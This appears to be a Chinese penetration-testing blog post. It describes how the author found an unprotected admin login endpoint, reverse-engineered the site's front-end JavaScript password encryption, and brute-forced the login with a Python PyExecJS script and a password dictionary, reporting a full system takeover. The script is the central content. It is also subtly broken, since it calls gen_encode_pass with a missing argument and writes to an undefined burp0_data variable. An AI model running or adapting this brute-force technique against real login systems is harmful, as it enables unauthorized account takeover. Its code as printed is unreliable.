form标签的action之前 加密_口令爆破之突破前端JS加密

0x00 前言

近期安全测试时发现一个系统前台使用了SSO,但是在比较隐蔽API中发现了后台的登录接口,该接口未使用SSO,同时没有图形验证码等校验,通过分析最终爆破进入后台。

0x01 确认攻击途径

通过信息搜集找到后台登录URL,由于URL比较敏感,这里以 admin/login替代,尝试登录发现没有图形验证码等校验

130a26981ec73736d440877a91b72352.png

通过BurpSuite抓包发现密码字段被加密了

18951dfb4e00184139222aa615556cac.png

根据回显不同,可进行口令爆破。

攻击思路:

  1. 通过回显不同获取存在的账号

  2. 分析加密方法

  3. 使用加密算法加密密码字典

  4. 脚本发包爆破

这里也可以使用Selenium一把梭暴力解决,但是不建议,如果实在没折的话再考虑此方法。

0x02 分析加密方法

加密参数为 u_pwd,在html文件中搜索该特殊字符

fbd71d986dacdbd20939ce8ab8c22de9.png

可以看到加密算法是将 u_pwdu_name拼接之后使用 strEnc函数处理,然后再和一个随机16位字符串拼接。

测试加密算法

复制定位到的 strEnc函数JS代码,以Chrome为例。F12->Sources->Overrides->右键Snippets->粘贴

376f527c984c22fa2bbd890d4f2aaa1d.png

在新建的 snippet上右键>Run

649a7e033412d3941d5665cc20ec4f4d.png

输入密码测试

9253f93e7f5eb16bb3454207dbe6eb25.png

OK,加密代码找到了,运行对应的加密JS代码即可获取对应密码的加密字符串。

0x03 攻击测试

这里有多种途径,官方推荐PyV8、Node.js、PhantomJS、Nashorn,之前跟爬虫的大哥学习的时候发现他们好多使用的PyExecJS,所以也用这个试试,有兴趣的可以搜搜对应的优缺点。

安装 Node.js之后 pip installPyExecJS即可

4f05a91555e87f5478a2e71f176c3815.png

脚本爆破

import requests

import execjs

import json

def gen_encode_pass(user_name, user_password):

with open("/Users/w2n1ck/Desktop/des.js", "r") as f:

data_func = f.read()

ctx = execjs.compile(data_func)

up = ctx.call('strEnc', user_password, user_name)

rand = ctx.call('randomString', 16)

password = str(up) + str(rand)

print('encode: u_password:',password)

return password

_url = "https://admin.baidu.com:443/admin/login"

_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "https://admin.baidu.cn/admin/login", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "u_token": "", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}

_data = {"u_name": "admin"}

pass_dict = open('/Users/w2n1ck/Desktop/admin_pass.txt', 'r')

for p in pass_dict.readlines():

p = str(p.strip())

print("decode: " + p)

password = gen_encode_pass(p)

burp0_data['u_pwd'] = password

resp = requests.post(_url, headers=_headers, data=_data)

con = json.loads(resp.content)

if 'false' in str(con):

print(con)

pass_dict.close()

通过前期的确定存在的用户名进行社工口令针对性爆破

31960af73c3b54462dc059b9ad2a2a29.png

脚本启动,打卡,下班

e3cf37d2d985f0b508be9e10822c3858.png

第二天上班发现已有存在的账号密码,账号密码登录即可接管系统

3171b34fc3dbf70a737808215c36a187.png

参考文章:

https://juejin.im/post/5c8f15bde51d451d1118db99

619aebf9cd79271b7c93bbaea2a6bd7a.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值